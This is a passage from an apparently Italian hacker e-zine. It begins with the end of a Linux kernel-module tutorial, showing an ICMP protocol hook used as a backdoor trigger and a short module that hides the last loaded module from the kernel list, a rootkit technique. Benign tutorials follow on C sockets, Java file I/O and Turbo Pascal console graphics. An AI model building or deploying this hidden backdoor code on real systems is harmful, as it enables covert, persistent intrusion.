inet_add_protocol(&my_icmp_protocol); original_icmp_protocol = my_icmp_protocol.next; inet_del_protocol(original_icmp_protocol); return 0; } void cleanup_module() { inet_add_protocol(original_icmp_protocol); inet_del_protocol(&my_icmp_protocol); } ---Nascondere il lavoro--------------------------------------------------------- Nascondere il tutto adesso risulta molto più facile del previsto, basterà creare un modulo per il kernel, che nasconda dalla lista l'ultimo modulo caricato, ovvero il filtro.. /* cleaner part - used for hiding the last module loaded (filter) */ #define __KERNEL__ #define MODULE #include #include int init_module() { if (__this_module.next) __this_module.next = __this_module.next->next; return 1; } int cleanup_module() { } MODULE_LICENSE(GPL); ---Conclusione------------------------------------------------------------------ Prima di concludere tenevo a far sapere, che i code rilasciati nel tutorial sono tutti in forma base, quasi inutili direi, ricordate che potrete aggiungere un interprete stand-alone, e code_no a scelta multipla, facendo si che il filtro differenzi un code_no dall'altro e passi i relativi environment all'interprete che svolgera in seguito l'azione passata per argomento in linea di comando.. Concludo quindi augurandomi di aver spiegato il tutto in modo semplice e comprensibile, per qualsiasi motivo mandate un email a: webmaster@eviltime.com e visitate www.eviltime.com per tenervi aggiornati sui miei lavori -------------------------------------------------------------------------------- +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Programmazione di socket in C | |-- Lord Lothar | | _________________________________________________________| |____________________/ ~ programmazione di socket in C ~ Ho scritto questo tutorial per avvicinare programmatori C/C++ inesperti alla programmazione di rete. Per questo premetto che gli esempi contenuti in questo testo saranno decisamente semplici proprio per renderli comprensibili a chi di socket non ci capisce niente. Di guide sui sockets ce ne sono veramente tante, purtroppo però in quasi tutte l'autore non li espone in forma base e magari aggiunge funzioni inventate da lui che per quanto gli possano piacere non semplificano di certo il suo tutorial. Io illustrerò il modo più semplice in assoluto (credo) per creare un socket funzionante (quel che ci interessa alla fine è che funzioni :P). I programmi che ho scritto sono nati dal confronto fra vari tutorial per sapere quali tra le istruzioni, le strutture e le funzioni da loro usate siano strettamente necessarie. NOTA: non parlerò dei RAW socket in questo tutorial... magari nel prossimo ^_^ .:: INFORMAZIONI SULL'INDIRIZZO ::. Tutte le informazioni per inizializzare gli indirizzi, quali l'indirizzo ip, la porta (per ricevere connessioni o per chiederne), il tipo di connessione, devono essere contenute in una struttura: sockaddr_in. Sono solo 3 i parametri "fondamentali" per la struttura. Vediamo un esempio: struct sockaddr_in addr; addr.sin_family = AF_INET; <-- Famiglia dell'indirizzo (AF_INET = usa i protocolli di internet). addr.sin_port = htons(PORT); <-- "htons" = host to network conversion, short. addr.sin_addr.s_addr = INADDR_ANY; <-- "qualsiasi indirizzo" (usato per i server socket) per specificarne uno in particolare (per i client),usare inet_addr(IP); IP dev'essere una stringa. .:: ANALISI DELLE FUNZIONI e CREAZIONE DI UN SERVER E DI UN CLIENT SOCKET ::. Le funzioni necessarie per la creazione di un server socket sono le seguenti: socket() = crea un socket descriptor (in UNIX chiamato file descriptor). bind() = collega il socket descriptor creato da socket() a una porta locale. In mancanza della funzione bind() la funzione listen() collegherà il SD a una porta random. listen() = crea una coda d'attesa con il numero massimo di connessioni possibli. accept() = restituisce la prima connessione accodata da listen(). Nel caso il valore restituito sia 0 la connessione ha avuto successo. Se capitano nuove connessioni la funzione clona il processo (fork()) mettendosi nuovamente in ascolto. read(), recv(), recvfrom() = primitive di ricezione di dati. Non ci sono sostanziali differenze tra l'una e l'altra. write(); send(), sendto() = primitive di invio di dati. Non ci sono sostanziali differenze tra l'una e l'altra. close() = chiude il socket e lo sconnette. Le funzioni necessarie per la creazione di un client socket sono invece le seguenti: socket() = crea un socket descriptor (in UNIX chiamato file descriptor). connect() = connette il client a un server tramite il processo chiamato 3-way- handshake spiegato dopo. Come accept() restituisce il valore 0 in caso di connessione effettuata con successo. read(), recv(), recvfrom() = primitive di ricezione di dati. Non ci sono sostanziali differenze tra l'una e l'altra. write(); send(), sendto() = primitive di invio di dati. Non ci sono sostanziali differenze tra l'una e l'altra. close() = chiude il socket e lo sconnette. * 3 way handshake E' il sistema del protocollo TCP/IP per stabilire una connessione tra due host. Per stabilire una connessione il computer di partenza invia un particolare pacchetto TCP che nella sua intestazione contiene l'indirizzo di destinazione e un flag denominato SYN (che è la richiesta di connessione). A questo punto, se il pacchetto con flag SYN ha raggiunto il destinatario, questo risponde con un pacchetto con flag SYN|ACK che vuol significare che il server ha accettato la connessione e infine il client invierà un pacchetto con flag ACK per confermare la connessione. Ora potranno scambiare dati tra di loro. Quando il client vuole chiudere la connessione invierà un pacchetto con flag FIN, quando e se vorrà chiuderla il server userà il flag RST. Non entro in dettagli perchè tanto con questo tipo di socket non c'è da preoccuparsi di flags, pacchetti e roba simile. Ora analizziamo dettagliatamente ogni funzione: ~ int socket( int famiglia, int tipo, int protocollo ) ; come potete leggere la funzione restituisce un numero... se è negativo significa che per qualche problema il socket non si è inizializzato. Per questa funzione dovete includere le librerie sys/types.h, sys/socket.h e netinet/in.h (per il protocollo). Esaminiamo i 3 parametri. la famiglia: la famiglia dell'indirizzo può essere: AF_UNIX: per protocolli interni di unix. AF_INET: per i protocolli di internet. AF_NS: per protocolli di Xerox NS. AF_IMPLINK : per un livello di collegamento IMP. noi utilizzeremo solo il secondo: AF_INET. il tipo: i tipi più conosciuti sono 3: SOCK_STREAM: socket per il protocollo TCP. SOCK_DGRAM: socket per il protocollo UDP. SOCK_RAW: socket "grezzo". Per connettersi a un server bisogna costruirsi "manualmente" il pacchetto, quindi gestire anche l'handshake. Per darvi un esempio di utilizzo di un RAW socket. Può essere sfruttato per creare un portscanner (usa questa tecnica anche nmap) che invece di rilevare le porte connettendosi a ognuna di esse (rilevabile) invia solo un pacchetto con flag SYN, se ne riceve uno con flag SYN|ACK si blocca e segna la porta come aperta. In questo modo evita il problema dei logs... Comunque sia noi useremo il tipo SOCK_STREAM. Anche perchè non penso vi interessi fare come prima cosa un socket che si basa su un protocollo connection-less (UDP). il protocollo: ecco l'elenco dei principali protocolli utilizzabili: IPPROTO_UDP: UDP. IPPROTO_TCP: TCP. IPPROTO_ICMP: ICMP. IPPROTO_RAW: IP. Noi però useremo 0... ^_^ ~ int bind( int sd, struct sockaddr *addr, addr_len ) ; sd è il numero restituito da socket() (il suo socket descriptor), addr è un puntatore a una struttura sockaddr che contiene le informazioni necessarie per utilizzare l'indirizzo, addr_len può essere sostituita da sizeof(struct sockaddr). ~ int listen( int sd, int max_con ) ; Questa funzione serve per determinare il numero massimo delle connessioni da "accodare". I due parametri sono logicamente il socket descriptor e il numero delle connessioni massime. ~ int accept( int sd, struct sockaddr *addr, int *addr_len ) ; Questa funzione resta in attesa di una connessione tenendo conto del numero massimo di connessioni possibili e di tutti i parametri specificati dalle altre funzioni. sd è il socket descriptor (d'ora in poi non lo dico più!), addr è un puntatore alla struttura dove si trova l'indirizzo del client, addr_len lo sapete già :P, cambia solo per il *. ~ int close( int sd ) ; Ovviamente serve unicamente a chiudere la connessione relativa al socket descriptor. Ora che ho illustrato le funzioni *fondamentali* per la creazione di un server socket provo a spiegarvene uno fatto da me. - - - - - - - cut here - - - - - - - #include #include #include #include #include #include #define PORT 5050 #define MAXCON 10 int main() { int sd, new_sd; struct sockaddr_in addr; int sin_size; sd = socket(AF_INET, SOCK_STREAM, 0); // usa protocolli di internet ed è un socket TCP. addr.sin_family = AF_INET; // l'indirizzo usa i protocolli di internet. addr.sin_port = htons(PORT); // la porta aperta è la 5050, come definita all'inizio. addr.sin_addr.s_addr = INADDR_ANY; // accetta connessioni da qualsiasi indirizzo. bind(sd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); // sapete già cosa sono questi elementi. listen(sd, MAXCON); // accetta al massimo 10 connessioni (le clona con fork()). printf("In attesa di connessione\n"); sin_size = sizeof(struct sockaddr_in); new_sd = accept(sd, (struct sockaddr *)&addr, &sin_size); // rimane in ascolto *finchè* non riceve una connessione. printf("Ho accettato una connessione\n"); /* a cosa servirebbe controllare se new_sd è uguale a 0? A nulla! Infatti stampa questo messaggio se ha passato la funzione accept() quindi se ha ricevuto una connessione */ close(new_sd); close(sd); return 0; } - - - - - - - cut here - - - - - - - - Tutto chiaro? - siiii. - bene continuiamo. I client sono ancora più facili :). Il fatto che non abbiano il dovere di accettare connessioni esclude dalle funzioni "fondamentali" bind(), listen() e accept()! In compenso deve "connettersi" con la funzione connect(). ~ int connect( int sd, struct sockaddr *addr, int addr_len ) ; addr è la struttura contenente le informazioni sull'indirizzo del server. addr_len è la dimensione di addr. e adesso il mio client: - - - - - - - cut here - - - - - - - #include #include #include #include #include #define HOST "127.0.0.1" #define PORT 5050 int main() { int sd, new_sd; struct sockaddr_in addr; sd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(HOST); new_sd = connect(sd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); /* così facendo si controlla se il client ha o no stabilito una connessione */ if(new_sd == 0) printf("Connessione stabilita\n"); else printf("Connessione non stabilita\n"); close(new_sd); close(sd); return 0; } - - - - - - - cut here - - - - - - - Semplice no? Capite che adesso (controllando new_sd) creare un semplice portscanner è praticamente uno sforzo infinitesimale. Cosa farne però di un server o di un client se non scambiarci dati? Chi se ne fotte di un socket che si connette o riceve e basta una connessione? Ecco le primitive dàh... ~ int send( int sd, char *buffer, int bytes_no, int flags ) ; ~ int sendto( int sd, char *buffer, int bytes_no, int flags, struct sockaddr *to, int addr_len ) ; ~ int recv( int sd, char *buffer, int bytes_no, int flags ) ; ~ int recvfrom( int sd, char *buffer, int bytes_no, int flags, struct sockaddr *from, int addr_len ); sd lo sapete già. buffer è un puntatore ai dati da inviare. bytes_no è la dimensione dei dati da inviare / ricevere in bytes. flags può essere: MSG_OOB: invia o riceve dati fuori banda. MSG_PEEK: preleva un messaggio in arrivo. Per recv e recvfrom. MSG_DONTROUTE: evita l'instradamento. Per send e sendto. potete usare benissimo 0 :D Ogni primitiva restituisce un numero pari ai bytes dei dati inviati / ricevuti. recv() restituisce -1 in caso di errore e 0 in caso di interrotta connessione. Nota: sendto() e recvfrom() possono fare a meno della chiamata connect() e accept(), infatti si possono usare solo queste 2 chiamate nei socket UDP, che sono identici ma non contengono appunto queste 2 funzioni (accept() e connect()). Per evitare di fare casino con bytes_no vi consiglio di scrivere la stringa che volete inviare e poi utilizzare: bytes_no = strlen(stringa); Infine per poter inserire l'hostname invece che l'ip usate gethostbyname(). Per farlo dovete: 1. includere netdb.h 2. dichiarare un puntatore a una struttura (hostent) che conterrà IP, hostname ecc. 3. leggere sotto l'esempio ^_^ - - - - - - - cut here - - - - - - - int main() { int sd, new_sd; struct sockaddr_in addr; struct hostent *host; char *hostname; ... ... scanf("%s",hostname); if((host = gethostbyname(hostname)) == NULL) { printf("\nError: host not found\n"); exit(1); } ... ... addr.sin_family = AF_INET; addr.sin_addr = *((struct in_addr *)host->h_addr); // h_addr è l'elemento di hostent che contiene l'indirizzo "convertito" ... } - - - - - - - cut here - - - - - - - hostent ovviamente non contiene unicamente h_addr, ecco l'elenco degli elementi più importanti: h_name: Nome ufficiale dell'host. h_addrtype: Il tipo di indirizzo ritornato. h_length: La lunghezza dell'indirizzo in bytes. h_addr_list: Un array di indirizzi "network" in Network Byte Order. h_addr: Il primo elemento di h_addr_list, quindi già convertito in Network Byte Order. .:: WINSOCK ::. E tutti quei poveri disgraziati (scherzo :) che usano Windows? Intanto dovete includere *SOLO* "winsock.h". Vediamo cosa bisogna aggiungere a un socket per usarlo in Windows: #include void main() { WSADATA wsa; ... WSAStartup(MAKEWORD(1,1),&wsa); /* Codice per un socket normale */ WSACleanup(); } Quindi il mio server socket di prima in "versione Windows": - - - - - - - cut here - - - - - - - #include #include #define MAXCON 10 #define PORT 5050 int main() { WSADATA wsa; int sd, new_sd, sin_size; struct sockaddr_in addr; WSAStartup(MAKEWORD(1,1),&wsa); sd = socket(AF_INET, SOCK_STREAM, 0); addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = INADDR_ANY; bind(sd, (struct sockaddr *)&addr, sizeof(struct sockaddr)); listen(sd, MAXCON); printf("In attesa di connessione\n"); sin_size = sizeof(struct sockaddr_in); new_sd = accept(sd, (struct sockaddr *)&addr, &sin_size); printf("Ho accettato una connessione\n"); close(new_sd); close(sd); WSACleanup(); return 0; } - - - - - - - cut here - - - - - - - ATTENZIONE: - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + | Per chi di voi usa Dev-C++ deve seguire ciò che sto per dire: | |- Creare un nuovo progetto | |- Progetto > Opzioni del progetto > Parametri > Aggiungi libreria o oggetto| |- aggiungete la libreria che sta in /lib "libwsock32.a". | + - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - + Ecco. Ovviamente questo non è che un modo per applicare ciò che ho spiegato fin qui su sistemi Windows, se volete spiegazioni a queste funzioni cercate su www.google.it... [E] - [O] - [T] | | | end of tutorial Come avrete notato questa guida è di difficoltà elementare, perciò vi prego di non infierire sulla mia casella e-mail dicendo che non tratto di moltissimi argomenti... Non era il mio obbiettivo spiegare tutto riguardo ai socket, bensì insegnare a utilizzarli semplicemente. Anche perchè se uno vuole capirne tutto può leggere tutte quelle che si trovano sulla rete... Spero di essere stato utile. +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- -JAVA- La gestione dei file | |-- Sys Ov3rrid3 | | _________________________________________________________| |____________________/ O.oO.oO.oO.oO.oO.oO.oO.oO.oO.o Introduction... O.oO.oO.oO.oO.oO.oO.oO.o Hello peolpe!!! Ben ritrovati su IL per trattare ancora una volta di programmazione java, in particolare delle gestione dei file, ma non perdiamo tempo e iniziamo... Ok, quindi prendete il vostro bel editor di java, scaldate compilatore&interprete e pronti ad affrontare questo nuovo argomento. O.oO.oO.oO.oO.oO.oO.oO.oO.o Open&Close for I/O... O.oO.oO.oO.oO.oO.oO.o Prima di iniziare a spiegare come avviene la gestione dei file in java è bene precisare, che queste operazioni possono essere eseguite con le applicazioni, mentre con le applet ciò non è possibile per alcune restrinzioni di sicurezza. Ricordate che tutto ciò che riguarda l'I/O dei file si trova nel package java.io.*!Well we can go... Per poter parlare della gestione della gestione dei file bisogna tenere ben presente il concetto di STREAM. Lo stream (flusso di dati), può variare ed essere <> se il file viene letto(o aperto), <> se invece il file viene scritto(o salvato). Esaminiamo quindi lo Stream di Ouput: ---------8<---------------------------8<------------------------------- //La dichiarazione è la seguente: FileOutputStream StrFile = new FileOutputStream("nomefiledascrivere"); ObjectOutputStream FileOut = new ObjectOutputStream(StrFile); ------------------8<------------------------------8<------------------- Commentiamo il codice...Come sicuramente avrete capito qui abbiamo dichiarato due oggetti: il primo StrFile di classe FileOutputStream, il secondo FileOut di classe ObjectOutputStream. Con la prima riga non si fà altro che creare una stream sul file "nomefiledascrivere", mentre tutte le operazioni di scrittura/salvataggio vengono fatte dallo stream di classe ObjectOutputStream che ne contiene i metodi. Seguendo la procedura appena illustrata però il file viene ogni volta sovrascritto e il suo contenuto precedente viene perso, mentre se invece della riga di codice: FileOutputStream StrFile = new FileOutputStream("nomefiledascrivere"); scriviamo FileOutputStream StrFile = new FileOutputStream("nomefiledascrivere", true); allora il nuovo contenuto del file si accoda a quello già esistente. Ora invece esaminiamo lo Stream di Input: ---------8<---------------------------8<------------------------------- //La dichiarazione è la seguente: FileInputStream StrFile = new FileInputStream("nomefiledaleggere"); ObjectInputStream FileIn = new ObjectInputStream(StrFile); ------------------8<------------------------------8<------------------- Come prima anche qui con la prima riga di codice creiamo uno stream dal file "nomefiledaleggere", mentre tutte le operazioni relative alla letturavengono effettuati con i metodi dell'oggetto FileIn di classe ObjectInputStream, entrambi i flussi sia di input che di output vengono effettuate con il metodo close() nel seguente modo: StrFile.close(); O.oO.oO.oO.oO.oO.oO.oO.oO.o Write on the file... O.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.o Passiamo alla scrittura dei file...dopo aver aperto lo stream di output, per scrivere sul file si posso usare diversi metodi, appartenenti alla classe ObjectOutputstream, in base al valore da scrivere, la forma generale delle comando per scrivere è: writeX, dove al posto di X si inserisce il tipo di dato da scrivere. Alcuni esempi: FileOut.writeInt(100); //per interi FileOut.writeDouble(3.6); //per numeri a precisione doppia FileOut.writeChars("prova123"); //per stringhe FileOut.writeObject(); //per gli oggetti Con l'ultimo metodo descritto è possibile scrivere un intero oggetto con tutti i suoi attributi non statici. E' importante ricordare che queste classi vengono rese PERSISTENTI¹ perciò nelle loro dichiarazione si implementa l'interfaccia Serializable. Dopo aver scritto nel file è importante utilizzare il metodo flush() che trasferisce su disco il contenuto dello stream. O.oO.oO.oO.oO.oO.oO.oO.oO.o Read on the file... O.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.o Vediamo infine la lettura di un file...Come per la scrittura per la lettura si usano i metodi della classe ObjectInputStream, in particolare useremo il metodo readX, dove al posto della X inseriamo il tipo di dato da leggere, anche qui troviamo il metodo readObject(); che serve per leggere un oggetto salvato precedentemente. E' utile se non si conosce il numero di dati da leggere eseguire un loop infinito che si interrompa quando si genere l'errore EOF. O.oO.oO.oO.oO.oO.oO.oO.oO.o Example...O.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO Esempio di scrittura da file: ------------------8<------------------------------8<------------------- import java.io.*; //importiamo il package java.io.* class Scrivi { public static void main(String argv[]) { try { //creazione degli stream di output FileOutputStream StrOut = new FileOutputStream("Prova.txt"); ObjectOutputStream FileOut = new ObjectOutputStream(StrOut); /*scriviamo qualcosa sul file*/ FileOut.writeInt(1); /*trasferiamo il contenuto su disco...*/ FileOut.flush(); /*...e chiudiamo lo stream*/ StrOut.close(); } catch (Exception e) //se fosse necessario verrà stampato a video l'errore accaduto { System.out.println("eccezione: "+e.getMessage()); } } } ------------------8<------------------------------8<------------------- Esempio di lettura da file: ------------------8<------------------------------8<------------------- import java.io.*; class Leggi { public static void main(String argv[]) { /*dichirazione di una variabile che accoglierà il valore letto*/ int Numero=0; try { FileInputStream StrIn = new FileInputStream("Prova.txt"); ObjectInputStream FileIn = new ObjectInputStream(StrIn); /*loop infinito...*/ while(true) { try { Numero = (int) FileIn.readInt(); System.out.println(Numero); } catch(EOFException e) //...che termina alla generazione dell'eccezione { break; } } } catch(Exception e) { System.out.println("Eccezione: "+e.getMessage()); } } } ------------------8<------------------------------8<------------------- Come avete visto leggendo il codice, le operazioni di I/O sui file posso generare numerose eccezioni che può risultare più conveniente gestire con un blocco try{...}catch(Exception e){...}. ¹Persistente: capacità di un'oggetto di sopravvivere alla singola esecuzione, vista la sua durata di vita legata al tempo di esecuzione del programma O.oO.oO.oO.oO.oO.oO.oO.oO.o EOF...O.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO.oO Ok, e anche stà volta è andata!!!Termino qui questo mini-tutorial sulla gestione dei file in java ,per qualsiasi advice or problem send me an e-mail and I answer you!!!See you at the next number of IL...Byez and g00d LuCk:) Special greet to BlackDemon(così sei contento), Giovi and tutto lo staff di IL... c0nt4cts: IRC: irc.azzurra.org chan #Sh3ll, #infomazionelibera, #Hacker.it MAIL: sysoverride@libero.it +--------------------------------------------------------------[open the file]-+ |[ CODING ] | |-- Tutorial 5 Turbo Pascal | |-- Eimiar | | _________________________________________________________| |____________________/ Ebbene sì miei cari, siamo arrivati alla lezzione numero 5 del Turbo Pascal Questa lezione parlerà di: - LE DOPPIE FUNZIONI DI AND, OR, NOT E XOR - CAMBIARE GLI ATTRIBUTI DI TESTO DIRETTAMENTE DA TEXTATTR - GRAFICA A CARATTERI - USO DELLA UNIT GIOBE.TPU prima che iniziamo, è necessario scaricare dagli allegati la unit GIOBE.TPU l'unit è stata fatta da Giorgio Ober il quale ringrazio per avermi concesso di usare la sua unit per farci una guida sopra INTRODUCTION TO DESTRUCTION! ~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sum 41 - Introduction to destruction (eheh, da là l'ho copiato!) prima di iniziare, dovete aver imparato BENE tutti i miei articoli precedenti, non importa se non vi ricordate ad esempio che cosa fa il CLREOL o il DOSVERSION o il FEXPAND, l'importante è che per questo tutorial sappiate usare bene i: GOTOXY, READKEY, TEXTATTR, TEXTCOLOR, TEXTBACKGROUND, WHEREX, WHEREY, BREAK, FILLCHAR cominciamo: LE DOPPIE FUNZIONI DI AND, OR, NOT E XOR ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Sì, lo so che ne avete piene le palle di AND, OR, NOT e XOR, ma la volta scorsa non vi ho spiegato che la loro funzione è doppia, cioè che il loro funzionamento è sia logico che binario ora vi spiego perché, io sono arrivato a questo ragionamento dopo un po' e credo proprio che ogni volta che dovrete fare una condizione, non farete lo stesso mio ragionamento :D facciamo un piccolo esempio semplice sotto gli occhi di tutti REPEAT CH:=READKEY; UNTIL (CH='s') OR (CH='S') OR (CH='n') OR (CH='N'); di solito si trova quando bisogna fare una scelta tra S/N (si no :D) mettiamo che il computer va in attesa di input e noi premiamo 't' allora succede così (CH='s') viene trasformato in boolean, cioè FALSE (false in numero è 0, lo si scopre con la funzione ORD(FALSE), mentre TRUE è 1) (CH='S') = FALSE = 0 (CH='n') = FALSE = 0 (CH='N') = FALSE = 0 ora facciamo l'operazione matematica: 0 OR 0 OR 0 OR 0 = 0 quindi la condizione non si è verificata, possiamo ripetere il ciclo e premere invece stavolta 'S' (CH='s') = FALSE = 0 (CH='S') = TRUE = 1 (CH='n') = FALSE = 0 (CH='N') = FALSE = 0 0 OR 1 OR 0 OR 0 = 1 (TRUE) quindi la condizione si è verificata, usciamo dal ciclo un altro piccolo esempio, anche questo di una semplicità incredibile REPEAT CH:=READKEY; CH2:=READKEY; UNTIL ((CH='s') OR (CH='S')) AND ((CH2='n') OR (CH='N')); e noi premiamo 'X' e 'P' (CH='s') = FALSE = 0 (CH='S') = FALSE = 0 (CH='n') = FALSE = 0 (CH='N') = FALSE = 0 se facciamo l'operazione matematica, otterremo (0 OR 0) AND (0 OR 0) 0 OR 0 = 0 0 AND 0 = 0 la condizione non si è verificata, ripetiamo il ciclo ma stavolta premendo 's' e 'N' (CH='s') = TRUE = 1 (CH='S') = FALSE = 0 (CH='n') = FALSE = 0 (CH='N') = TRUE = 1 trasformiamo in operazione matematica (1 OR 0) AND (0 OR 1) 1 OR 0 = 0 OR 1 = 1 1 AND 1 = 1 la condizione si è verificata, quindi come potete intuire, le funzioni degli operatori binari, sono sia logiche che binarie, anche se per fare un ciclo non dovrete fare tutto 'sto ragionamento perché potrebbe andare in pappa il cervello ancora prima di arrivare al sodo del programma :P e non vorrei che accadesse questo ai miei benamati studenti perché altrimenti cosa insegnerei a fare il pascal ? v'as capì? CAMBIARE GLI ATTRIBUTI DI TESTO DIRETTAMENTE DA TEXTATTR ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Come vi avevo spiegato due lezioni fa, gli attributi relativi al testo che verrà scritto sulla nostra console vengono memorizzati in questa variabile, quindi modificando questa variabile, otterremo gli attributi del testo modificati a nostro piacimento... però come funziona questa variabile?!? diamo prima un'occhiata ai colori disponibili nella libreria CRT che sono costanti (DUE LEZIONI FA) Colori scuri: Black 0 Blue 1 Green 2 Cyan 3 Red 4 Magenta 5 Brown 6 LightGray 7 Colori chiari: DarkGray 8 LightBlue 9 LightGreen 10 LightCyan 11 LightRed 12 LightMagenta 13 Yellow 14 White 15 quindi se textattr = 0 = (text Black - background Black) 1 = (text Blue - background Black) 2 = (text Green - background Black) 3 = (text Cyan - background Black) 4 = (text Red - background Black) 5 = (text Magenta - background Black) 6 = (text Brown - background Black) 7 = (text LightGray - background Black) 8 = (text DarkGray - background Black) 9 = (text LightBlue - background Black) 10 = (text LightGreen - background Black) 11 = (text LightCyan - background Black) 12 = (text LightRed - background Black) 13 = (text LightMagenta - background Black) 14 = (text Yellow - background Black) 15 = (text White - background Black) 16 = (text Black - background Blue) e così via fino a 255, dove 255 = white - white per convertire textattr per arrivare al colore del testo e al colore dello sfondo, basta semplicemente trasformare il numero in esadecimale dove (TEXTATTR SHR 4) = textbackground e (TEXTATTR AND $F) = textcolor v'as capì? GRAFICA A CARATTERI ~~~~~~~~~~~~~~~~~~~ Quella che io intendo per "Grafica a caratteri" o "grafica ascii" è semplicemente un disegnino ASCII fatto alla console, senza usare il graph.tpu (farò una lezione anche sul graph.tpu) ma usando parecchi gotoxy, write e writeln, basta conoscere bene la tabella ASCII (vi farò una tabella ascii col turbo pascal siccome l'uso del mouse non è poi così difficile) per gli smemorati, un carattere ASCII è un carattere unicode che fu inventato dai programmatori americani, contenenti caratteri per 255 numeri ordinali (255 caratteri ognuno con un numero diverso) ad esempio, voglio ottenere il carattere '~' tengo premuto ALT, digito 126 nella parte destra della tastiera (che non ricordo mai come diavolo di chiama...) e lascio ALT, otteniamo ~ BASTA DIVAGARE! passiamo al sodo facciamo un esempio molto semplice, creiamo una procedura che ci fa una finestra -------------------------------------------------------------------------------- ----------- procedure finestra(c1,c2,larg,lung,puntox,puntoy:integer); var i,j,x,y:integer; begin textcolor(c1); textbackground(c2); if puntox < 1 then puntox:=1; if puntox > 80 then puntox:=80; if puntoy < 1 then puntoy:=1; if puntoy > 24 then puntoy:=24; x:=larg+puntox; y:=lung+puntoy; if x > 80 then x:=80; if x < 1 then x:=1; if y > 24 then y:=24; if y < 1 then y:=1; gotoxy(puntox,puntoy); write('+'); for i:=puntox+1 to x-1 do begin write('-'); end; write('+'); gotoxy(puntox,puntoy+1); for i:=puntoy+1 to y-1 do begin gotoxy(puntox,i); write('¦'); for j:=puntox+1 to x-1 do begin write(' '); end; gotoxy(x,i); write('¦'); end; gotoxy(puntox,y); write('+'); for i:=puntox+1 to x-1 do begin write('-'); end; write('+'); gotoxy(80,24); end; -------------------------------------------------------------------------------- ----------- ok? se noi facciamo: FINESTRA(white,blue,80,24,1,1); otterremo una finestra che copre tutta la console tranne l'ultima riga, perché se no si supererebbe il limite massimo e verrà lo scrolling verso il basso (ottenendo la cancellazione della prima riga e una nuova riga alla fine) anche se noi mettessimo FINESTRA(white,blue,955,844,-42,-944); otterremo sempre la stessa finestra perché le istruzioni if puntox < 1 then puntox:=1; if puntox > 80 then puntox:=80; if puntoy < 1 then puntoy:=1; if puntoy > 24 then puntoy:=24; x:=larg+puntox; y:=lung+puntoy; if x > 80 then x:=80; if x < 1 then x:=1; if y > 24 then y:=24; if y < 1 then y:=1; aggiustano tutto il bordello che noi facciamo (perché giustamente, io non ho mai visto una console di 955 caratteri per 844 dove la prima riga e la prima colonna vanno addirittura in negativo!) e abbiamo fatto la nostra finestra, una roba che dovrebbe essere così: +------------------------------------------------------------------------------+ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ ¦ +------------------------------------------------------------------------------+ RIGA VUOTA RIGA VUOTA RIGA VUOTA RIGA VUOTA RIGA VUOTA RIGA VUOTA RIGA VUOTA RIG v'as capì? se ancora non avete capito il funzionamento di gotoxy, allora o vi date all'ippica o vi suicidate o andate a ripassare la terza lezione del TP USO DELLA UNIT GIOBE.TPU ~~~~~~~~~~~~~~~~~~~~~~~~ La libreria GIOBE.TPU che trovate negli allegati, che ho scaricato dal sito www.giobe2000.it contiene un sacco di belle procedure e funzioni che facilitano molto il controllo della console all'utente che non ha voglia di ragionare, e in alcuni casi procedure importanti per il nostro scopo, cioè l'uso del mouse... noi esamineremo solo le procedure che ci serviranno al nostro scopo, più altre che col mouse non hanno a che fare, ma facilitano la costruzione della grafica, cioè STACHR, CORNICE1 e CORNICE2 se volete studiare le altre procedure e funzioni in modo più dettagliato scoprendo la dichiarazione e il corpo della procedura, tra gli allegati c'è anche il sorgente della unit incominciamo ad esaminare la procedura STACHR -------------------------------------------------------------------------------- ----------- PROCEDURE STACHR; PROCEDURE STACHR(RIG,COL,TXT,SFO:BYTE;CARAT:CHAR); VAR indirizzo:word; BEGIN indirizzo:=(col-1)*2+(rig-1)*160; asm PUSH ES PUSH DI PUSH BX MOV AX,0B800H MOV ES,AX MOV DI,indirizzo MOV AL,carat MOV BH,sfo SHL BH,1 SHL BH,1 SHL BH,1 SHL BH,1 MOV BL,txt OR BH,BL MOV AH,BH MOV ES:[DI],AX POP BX POP DI POP ES end; END; -------------------------------------------------------------------------------- ----------- Inserisce CARAT a COL,RIG col colore TXT e con lo sfondo SFO evitando lo scrolling di testo dove COL = X (non confondetevi con Y) RIG = Y (idem) TXT = un numero byte oppure una costante colore di CRT (black, blue... ) SFO = idem CARAT = il carattere che si stamperà sulla console Ora la procedura CORNICE1 -------------------------------------------------------------------------------- ----------- PROCEDURE CORNICE1; PROCEDURE CORNICE1(RIG,COL,LAR,ALT,TXT,SFO,TIPO,MODO:INTEGER); VAR n,m,w:integer; chr:array[1..6] of char; BEGIN CASE tipo OF 1: chr:=('Ú¿ÀÙij'); 2: chr:=('ɻȼͺ'); 3: chr:=('******'); 4: chr:=('úúúúúú'); 5: chr:=('ÜÜßßúÛ'); 6: chr:=(''); end; textcolor(txt);textbackground(sfo); gotoxy(col,rig); IF modo=1 THEN begin write(' ');w:=4; end ELSE w:=2; write(chr[1]); FOR n:=1 to lar-w do IF (tipo=5) THEN write ('Ü') ELSE write(chr[5]); write(chr[2]); IF modo=1 THEN write(' '); FOR m:=1 to alt-2 do begin gotoxy(col,rig+m); IF modo=1 THEN write(' '); write(chr[6]); FOR n:=1 to lar-w do write(' '); write(chr[6]); IF modo=1 